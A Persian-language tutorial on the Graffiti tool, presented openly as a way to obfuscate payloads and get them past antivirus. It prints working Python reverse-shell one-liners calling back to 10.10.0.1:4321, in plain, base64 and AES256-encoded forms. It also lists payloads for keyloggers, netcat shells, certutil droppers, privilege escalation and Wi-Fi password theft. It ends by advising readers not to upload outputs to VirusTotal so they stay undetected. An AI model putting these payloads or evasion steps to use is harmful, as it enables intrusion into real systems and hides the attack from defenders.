دور زدن ضدویروس ها و اجرای Payloadها با Graffiti

در این آموزش به به نحوه obfuscate کردن یک Payload جهت دور زدن Antivirus ها می پردازیم. برای مبهم سازی از Graffiti استفاده خواهیم کرد.

مقدمه:

لذت زیادی دارد که بتوان Reverse Shell را در یک سرور بدست آورد و یا Payload ای را اجرا نمود، اما گاهی اوقات وقتی سامانه های دفاعی درکار باشند این کارها آن‌گونه که انتظارش می‌رود راه به‌جایی نمی‌برند. از راه‌های برطرف کردن این مسائل و مشکلات  obfuscate کردن (مبهم سازی) Payload و رEncoding آن با استفاده از نکنیک های متفاوت است که معمولاً میزان موفقیت به‌دست‌آمده بر اساس هر تکنیک متفاوت خواهد بود. نرم‌افزار Graffiti می‌تواند برای مبهم سازی کمک شایانی نماید.

گرافیتی ابزاری است که می‌تواند با استفاده از انواع مختلف روش‌های Encoding پی‌لودهای obfuscate شده، تولید کند. این نرم‌افزار مجموعه‌ای از کدهای تک‌خطی (onliner) و shell هایی به زبان‌های برنامه‌نویسی همانند پایتون، Perl، PHP، Bash، PowerShell و Batch ارائه می‌کند. پی‌لودها را می‌توان با استفاده از Base64، hex و AES256، از میان انواع گزینه های دیگر Encode کرد. برنامه گرافیتی همچنین دارای دو حالت عملیاتی است: حالت خط فرمان و حالت تعاملی (interactive mode). از دیگر ویژگی‌های مفید گرافیتی می‌توان به قابلیت ایجاد فایل‌های پی‌لود سفارشی، تاریخچه دستورات ترمینال، گزینه برای اجرای دستورات محلی سیستم‌عامل و Tab-Completion در حالت تعاملی اشاره کرد.

نصب و راه‌اندازی

برای شروع Graffiti را دریافت کنید و وارد پوشه آن شوید. باید فایل های زیر را در آن پوشه مشاهده نمایید:

~/Graffiti# ls

coders  conf.json  etc  graffiti.py  install.sh  lib  main  README.md

می‌توانیم ابزار را با استفاده از دستور Python اجرا کنیم. اول از همه بگذارید فهرست راهنما را با افزودن گزینه  h مشاهده کنیم:

~/Graffiti# python graffiti.py -h

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
                   [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
                   [-l]
                   [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
                   [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
                   [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc]

optional arguments:
  -h, --help            show this help message and exit
  -c CODEC, --codec CODEC
                        specify an encoding technique (*default=None)
  -p PAYLOAD, --payload PAYLOAD
                        pass the path to a payload to use (*default=None)
  --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
                        create a payload file and store it inside of
                        ./etc/payloads (*default=None)
  -l, --list            list all available payloads by path (*default=False)
  -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
                        pass your own personal payload to use for the encoding
                        (*default=None)
  -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
                        pass a listening address to use for the payload (if
                        needed) (*default=None)
  -lP LISTENING-PORT, --lport LISTENING-PORT
                        pass a listening port to use for the payload (if
                        needed) (*default=None)
  -u URL, --url URL     pass a URL if needed by your payload (*default=None)
  -vC, --view-cached    view the cached data already present inside of the
                        database
  -H, --no-history      do not store the command history (*default=True)
  -W, --wipe            wipe the database and the history (*default=False)
  --memory              initialize the database into memory instead of a .db
                        file (*default=False)
  -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
                        pass more external commands, this will allow them to
                        be accessed inside of the terminal commands must be in
                        your PATH (*default=None)
  -Vc, --view-codecs    view the current available encoding codecs and their
                        compatible languages

در اینجا ما اطلاعاتی درباره نحوه استفاده از آن به همراه نشان‌وندهای (Argument) اختیاری که در دسترس هستند دریافت می‌کنیم.

روشی ساده‌تر برای استفاده از گرافیتی، نصب آن بر روی سیستم است. به‌این‌ترتیب، نیازی نیست برای اجرا کردن آن وارد شاخه مربوطه شویم و می‌توان آن را از هرجایی اجرا کرد. برای شروع کافی است اسکریپت نصب آن را اجرا کرد:

~/Graffiti# ./install.sh

starting file copying..
creating executable
editing file stats
installed, you need to run: source ~/.bash_profile

بعد از نصب حتما فرمان source ~/.bash_profile را بزنید!

اکنون باید بتوانیم با تایپ واژه graffiti آن ابزار را از هرکجای سیستم اجرا کنیم:

~# graffiti -h

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
                   [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
                   [-l]
                   [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
                   [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
                   [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc]

optional arguments:
  -h, --help            show this help message and exit
  -c CODEC, --codec CODEC
                        specify an encoding technique (*default=None)
  -p PAYLOAD, --payload PAYLOAD
                        pass the path to a payload to use (*default=None)
  --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
                        create a payload file and store it inside of
                        ./etc/payloads (*default=None)
  -l, --list            list all available payloads by path (*default=False)
  -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
                        pass your own personal payload to use for the encoding
                        (*default=None)
  -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
                        pass a listening address to use for the payload (if
                        needed) (*default=None)
  -lP LISTENING-PORT, --lport LISTENING-PORT
                        pass a listening port to use for the payload (if
                        needed) (*default=None)
  -u URL, --url URL     pass a URL if needed by your payload (*default=None)
  -vC, --view-cached    view the cached data already present inside of the
                        database
  -H, --no-history      do not store the command history (*default=True)
  -W, --wipe            wipe the database and the history (*default=False)
  --memory              initialize the database into memory instead of a .db
                        file (*default=False)
  -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
                        pass more external commands, this will allow them to
                        be accessed inside of the terminal commands must be in
                        your PATH (*default=None)
  -Vc, --view-codecs    view the current available encoding codecs and their
                        compatible languages

گزینه 1: استفاده از Graffiti در حالت خط فرمان

اولین راه برای اجرای گرافیتی از طریق حالت خط فرمان معمولی است. تنها کاری که باید انجام دهیم، درست مانند هر ابزار یا اسکریپت دیگری، این است که نشان‌وندها را در ادامه دستور تایپ کنیم. به‌عنوان‌مثال می‌توانیم تمامی پی‌لودهای در دسترس را با گزینه -l لیست کنیم:

~# graffiti -l

Windows payloads:

/windows/batch/nc_bind.json
/windows/batch/certutil_exe.json
/windows/batch/nc_reverse.json
/windows/batch/sync_appv.json
/windows/python/socket_reverse.json
/windows/powershell/keylogger.json
/windows/powershell/escalate_service.json
/windows/powershell/meterpreter_shell.json
/windows/powershell/cleartext_wifi.json
/windows/perl/socket_reverse.json
/windows/ruby/socket_reverse.json

Linux payloads:

/linux/python/socket_reverse.json
/linux/php/socket_reverse.json
/linux/perl/socket_reverse.json
/linux/ruby/socket_reverse.json
/linux/bash/subdomain_enum_crt.json
/linux/bash/netcat_reverse.json
/linux/bash/download_linux_exploit_suggester.json
/linux/bash/pipe_reverse.json
/linux/bash/subdomain_enum_archive.json
/linux/bash/suid.json
/linux/bash/download_checkers.json
/linux/bash/netcat_binder.json
/linux/bash/download_nmap_scripts.json
/linux/bash/download_linux_priv_checker.json
/linux/bash/bash_reverse.json

همان‌طور که مشاهده می‌کنیم گزینه‌هایی جداگانه مربوط به پوسته‌های Netcat، پایتون و بسیاری دیگر، برای ویندوز و لینوکس وجود دارد. ما می‌توانیم از گزینه Vc برای مشاهده Encoderهای در دسترس و زبان‌های برنامه‌نویسی مربوطه که توسط آن‌ها پشتیبانی می‌شوند استفاده کنیم:

~# graffiti -Vc

CODEC:      ACCEPTABLE:
aes256      python
atbash      python
xor     php,python
base64      powershell,php,python,perl,ruby,bash,batch
hex     powershell,php,python,perl,ruby,bash,batch
raw     powershell,php,python,perl,ruby,bash,batch
rot13       python,ruby,php

گزینه p اصلی‌ترین قسمت برنامه گرافیتی است، از آن برای مشخص کردن پی‌لود و به دنبالش از c برای مشخص کردن شیوه encoding و درنهایت از lH و lP به ترتیب برای تنظیم نشانی و درگاه شنود (Listening) استفاده کنید. در اینجا یک reverse shell پایتون به شکل پردازش نشده، یعنی بدون رencoding آمده است:

~# graffiti -p /linux/python/socket_reverse.json -c raw -lH 10.10.0.1 -lP 4321

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

فرمان را برای reverse shell مناسب با همه اطلاعات پرشده بیرون خواهد داد. تنها کاری که باید در این مرحله انجام دهیم کپی و پیست است. بیایید مثال دیگری را بیازماییم. همان reverse shell پایتون encode شده به روش base64 در اینجا آمده است:

~# graffiti -p /linux/python/socket_reverse.json -c base64 -lH 10.10.0.1 -lP 4321

python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjAuMSIsNDMyMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7".decode("base64"))'

و این بار نیز هم با استفاده از سایفر AES256:

~# graffiti -p /linux/python/socket_reverse.json -c aes256 -lH 10.10.0.1 -lP 4321

# be sure that the target has PyCrypto on their system!
python -c 'import base64;from Crypto import Random;from Crypto.Cipher import AES;from Crypto.Util import Counter;ct=base64.b64decode("7mC355qybpwkZRVMOGKbHBNqNKFwVbBcpgBZ0cwQlNT6sAF3YwLN9DmIFph4GCRHFVEghR8xTeWIulP3MOpPAI869iFn5FzX3Y32m9tGqiVzvL0tO0NTU2gQXTAauni+8p0+Au/fxjgX8AwpuJOl7lIPFxVHTk/zRLu0mg257OknhKgJxuQgUM5SrXG+XJcg1BRohs0AHJSGjLQs0oqfBxV4WPLLMVQHP76DJHTndgakXf0cHhbkJa+J6umbjMaG+6ZbJSz/7SQo+9XWzTGNU5w80/KP");dk=base64.b64decode("gGhVa2B/DPmOp1tfIL2AhdyVyTapvpgtkCLFZ4WL0OU=");iv=base64.b64decode("VSUepHglfitT7q08vuekMA==");ivi=int(iv.encode("hex"),16);co=Counter.new(AES.block_size*8,initial_value=ivi);a=AES.new(dk,AES.MODE_CBC,counter=co);r=a.decrypt(ct);exec(str(r))'

به‌جای بازگشت به مراحل پیشین و اجرای دوباره این دستورات، گرافیتی پی‌لودها را برای دسترسی آسان، Cache میکند و می توانید از گزینه vC برای مشاهده آن‌ها استفاده کنید:

~# graffiti -vC

total of 3 payloads present

Language: python
Payload Type: reverse
Payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Language: python
Payload Type: reverse
Payload: python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjAuMSIsNDMyMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7".decode("base64"))'

Language: python
Payload Type: reverse
Payload: python -c 'import base64;from Crypto import Random;from Crypto.Cipher import AES;from Crypto.Util import Counter;ct=base64.b64decode("7mC355qybpwkZRVMOGKbHBNqNKFwVbBcpgBZ0cwQlNT6sAF3YwLN9DmIFph4GCRHFVEghR8xTeWIulP3MOpPAI869iFn5FzX3Y32m9tGqiVzvL0tO0NTU2gQXTAauni+8p0+Au/fxjgX8AwpuJOl7lIPFxVHTk/zRLu0mg257OknhKgJxuQgUM5SrXG+XJcg1BRohs0AHJSGjLQs0oqfBxV4WPLLMVQHP76DJHTndgakXf0cHhbkJa+J6umbjMaG+6ZbJSz/7SQo+9XWzTGNU5w80/KP");dk=base64.b64decode("gGhVa2B/DPmOp1tfIL2AhdyVyTapvpgtkCLFZ4WL0OU=");iv=base64.b64decode("VSUepHglfitT7q08vuekMA==");ivi=int(iv.encode("hex"),16);co=Counter.new(AES.block_size*8,initial_value=ivi);a=AES.new(dk,AES.MODE_CBC,counter=co);r=a.decrypt(ct);exec(str(r))'

همچنین می‌توانیم تاریخچه را با استفاده از گزینه W پاک‌کنیم:

~# graffiti -W

wiping the database and the history files
database and history files wiped

گزینه 2: استفاده از گرافیتی در حالت تعاملی

روش دیگر اجرای گرافیتی در حالت تعاملی آن است که درون خود محیط ترمینال داخلی (built-in terminal environment) دارد. ابزار را به‌سادگی بدون هیچ نشان‌وندی اجرا کنید:

~# graffiti

  ________              _____  _____.__  __  .__
 /  _____/___________ _/ ____\/ ____\__|/  |_|__|
/   \  __\_  __ \__  \\   __\\   __\|  \   __\  |
\    \_\  \  | \// __ \|  |   |  |  |  ||  | |  |
 \______  /__|  (____  /__|   |__|  |__||__| |__|
        \/           \/
 v(0.0.10)

no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
Traceback (most recent call last):
  File "graffiti.py", line 5, in 
    main()
  File "/root/.graffiti/.install/etc/main/main.py", line 10, in main
    Parser().single_run_args(parsed_config, cursor)
  File "/root/.graffiti/.install/etc/lib/arguments.py", line 182, in single_run_args
    ).do_start(conf["graffiti"]["saveCommandHistory"])
  File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 290, in do_start
    self.reflect_memory()
  File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 77, in reflect_memory
    with open(self.full_history_file_path) as history:
IOError: [Errno 2] No such file or directory: '/root/.graffiti/.install/etc/.history/2019-11-14/graffiti.history'

اگر خطای بالا را دریافت کردید تنها کاری که باید انجام دهید این است که فایل تاریخچه جدیدی را در شاخه دیگری بسازید. از دستور touch بدین‌صورت استفاده کنید:

~# touch .graffiti/.install/etc/.history/2020-03-06/graffiti.history

اکنون هنگامی‌که آن را اجرا می‌کنیم با موفقیت وارد حالت تعاملی می‌شویم که اعلان (Prompt) خاص خود را دارد:

~# graffiti

  ________              _____  _____.__  __  .__
 /  _____/___________ _/ ____\/ ____\__|/  |_|__|
/   \  __\_  __ \__  \\   __\\   __\|  \   __\  |
\    \_\  \  | \// __ \|  |   |  |  |  ||  | |  |
 \______  /__|  (____  /__|   |__|  |__||__| |__|
        \/           \/
 v(0.0.10)

no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
[email protected]:~/graffiti#

برای دیدن فهرست راهنما، help یا ? را تایپ کنید:

[email protected]:~/graffiti# ?

 Command                                  Description
---------                                --------------
 help/?                                  Show this help
 external                                List available external commands
 cached/stored                           Display all payloads that are already in the database
 list/show                               List all available payloads
 search                                  Search for a specific payload
 use                                     Use this payload and encode it using a specified coder
 info                                    Get information on all the payloads
 check                                   Check for updates
 history/mem[ory]                        Display command history
 exit/quit                               Exit the terminal and running session
 encode                                  Encode a provided payload
 check     

با اجرای check می‌توانیم بررسی کنیم که آیا آخرین نسخه ابزار را داریم یا خیر:

[email protected]:~/graffiti# check

From https://github.com/Ekultek/Graffiti
 * branch            master     -> FETCH_HEAD
Already up to date.

همچنین مفید است بدانیم چه فرمان‌های خارجی در دسترس ما است تا مجبور نباشیم برای اجرای دستورات معمول از حالت تعاملی خارج شویم. برای مشاهده فهرستی از این موارد از فرمان خارجی استفاده کنید:

[email protected]:~/graffiti# external

busybox nc bzdiff zsh5 uname kill networkctl touch systemd-notify hashcat udevadm systemd bzfgrep tempfile ls bzcat goscan vdir df rzsh dd cpio ulockmgr_server systemctl rbash grep bzexe ntfssecaudit dirsearch findmnt zcmp umount nisdomainname sleep ntfsinfo kbd_mode dir systemd-inhibit sync ifconfig zforce mknod sed systemd-hwdb mountpoint znew mktemp kmod rsync fgconsole nano loginctl chvt systemd-ask-password ntfsrecover lowntfs-3g run-parts rm systemd-tmpfiles dnsdomainname gzexe uncompress ping4 keyctl ping6 netstat journalctl ntfsfix bzmore ntfscat bash zmore ntfsmove pidof bzgrep zdiff systemd-escape ln systemd-sysusers ypdomainname zegrep login ntfstruncate ntfscluster lsblk nmap chmod echo ntfs-3g wdctl cp sh.distrib usleep ps fusermount mkdir bzcmp mt-gnu fuser rmdir vi zless more lsmod openvt setupcon telnet ntfs-3g.probe bunzip2 pwd ntfswipe true systemd-tty-ask-password-agent zcat stty setfacl mount cat mt plymouth mv bzip2recover bzegrep zsh false tar domainname ip dash getfacl hciconfig setfont zgrep systemd-machine-id-setup bzip2 egrep chacl nc.traditional hostname ping zfgrep chgrp python find fgrep which ntfsfallocate ntfscmp unicode_start ftp bzless readlink date netcat gunzip loadkeys dmesg dumpkeys ss sendprobe clear su ntfsusermap chown sh rnano gzip ntfsls ssh

برای مثال، ما می‌توانیم دستوری مانند uname -a را مستقیماً از درون محیط تعاملی برنامه گرافیتی اجرا کنیم:

[email protected]:~/graffiti# uname -a

Linux drd 5.2.0-kali3-amd64 #1 SMP Debian 5.2.17-1kali2 (2019-10-17) x86_64 GNU/Linux

فرمان list، بسیار شبیه به گزینه پیش‌تر گفته‌شده l تمامی پی‌لودهای موجود را نشان می‌دهد:

[email protected]:~/graffiti# list

/windows/batch/nc_bind.json
/windows/batch/certutil_exe.json
/windows/batch/nc_reverse.json
/windows/batch/sync_appv.json
/windows/python/socket_reverse.json
/windows/powershell/keylogger.json
/windows/powershell/escalate_service.json
/windows/powershell/meterpreter_shell.json
/windows/powershell/cleartext_wifi.json
/windows/perl/socket_reverse.json
/windows/ruby/socket_reverse.json
/linux/python/socket_reverse.json
/linux/php/socket_reverse.json
/linux/perl/socket_reverse.json
/linux/ruby/socket_reverse.json
/linux/bash/subdomain_enum_crt.json
/linux/bash/netcat_reverse.json
/linux/bash/download_linux_exploit_suggester.json
/linux/bash/pipe_reverse.json
/linux/bash/subdomain_enum_archive.json
/linux/bash/suid.json
/linux/bash/download_checkers.json
/linux/bash/netcat_binder.json
/linux/bash/download_nmap_scripts.json
/linux/bash/download_linux_priv_checker.json
/linux/bash/bash_reverse.json

همچنین می‌توانیم با استفاده از دستور info اطلاعاتی را درباره پی‌لودها دریافت کنیم. متأسفانه این دستور به ما این امکان را نمی‌دهد پی‌لودی را انتخاب کنیم ولی در عوض همه آن‌ها را یک‌باره فهرست می‌کند:

[email protected]:~/graffiti# info

Script type: batch
Execution type: bind
Information: uses Windows netcat to start a bindshell
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_bind.json

Script type: batch
Execution type: dropper
Information: uses certutil to download a file without causing suspicion
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/certutil_exe.json

Script type: batch
Execution type: reverse
Information: uses netcat to start a reverse shell
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_reverse.json

Script type: batch
Execution type: dropper
Information: uses Microsoft SyncAppvPublishingServer to download and execute a powershell file
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/sync_appv.json

Script type: python
Execution type: reverse
Information: uses python socket library to connect back and execute commands with subprocess
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/python/socket_reverse.json

Script type: powershell
Execution type: other
Information: creates a keylogger that stores in C:\Users\Public\key.log
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/powershell/keylogger.json

...

برای جستجوی یک پی‌لود مشخص از دستور search استفاده کنید. به‌عنوان‌مثال برای جستجوی پی‌لودهای پایتون:

[email protected]:~/graffiti# search python

found 2 relevant options:
------------------------------
/windows/python/socket_reverse.json
/linux/python/socket_reverse.json

می‌توانیم با استفاده از دستور use یک پی‌لود بسازیم و در ادامه پی‌لود دلخواه و نوع Enconding جهت استفاده را انتخاب کنیم:

[email protected]:~/graffiti# use /linux/python/socket_reverse.json raw

enter the LHOST: 10.10.0.1
enter the LPORT: 4321
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

از ما IP برای listening را خواهد پرسید و فرمان reverse shell را هنگامی‌که آماده شد نمایش خواهد داد.

ما می‌توانیم مشابه باحالت خط فرمان گرافیتی، تاریخچه‌ای از پی‌لودهای ذخیره‌شده در cache را با استفاده از دستور cached مشاهده کنیم:

[email protected]:~/graffiti# cached

Type: Reverse
Execution: Python
Payload: u'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''

همچنین می‌توانیم با گزینه‌ی history، تاریخچه دستورات را نمایش دهیم:

[email protected]:~/graffiti# history

   1   ?
   2   exit
   3   ?
   4   check
   5   external
   6   id
   7   uname
   8   uname -a
   9   ?
  10   list
  11   info
  12   list
  13   info /linux/python/socket_reverse.json
  14   ?
  15   info
  16   ?
  17   search python reverse
  18   search python
  19   use /linux/python/socket_reverse.json raw
  20   graffiti -h
  21   use /linux/python/socket_reverse.json xor
  22   ?
  23   cached
  24   history

درنهایت، برای خروج از حالت تعاملی، کافی است exit را در اعلان تایپ کنید:

[email protected]:~/graffiti# exit

saving current history to a file
exiting terminal

همان طور که مشاهده کردید چقدر ساده می توانیم Antivirus ها را دور بزنیم. نکته مهمی که به یاد داشته باشید این است که بعد از استفاده هرگز فایل خروجی را در سایت هایی نظیر VirusTotal برای اسکن قرار ندهید!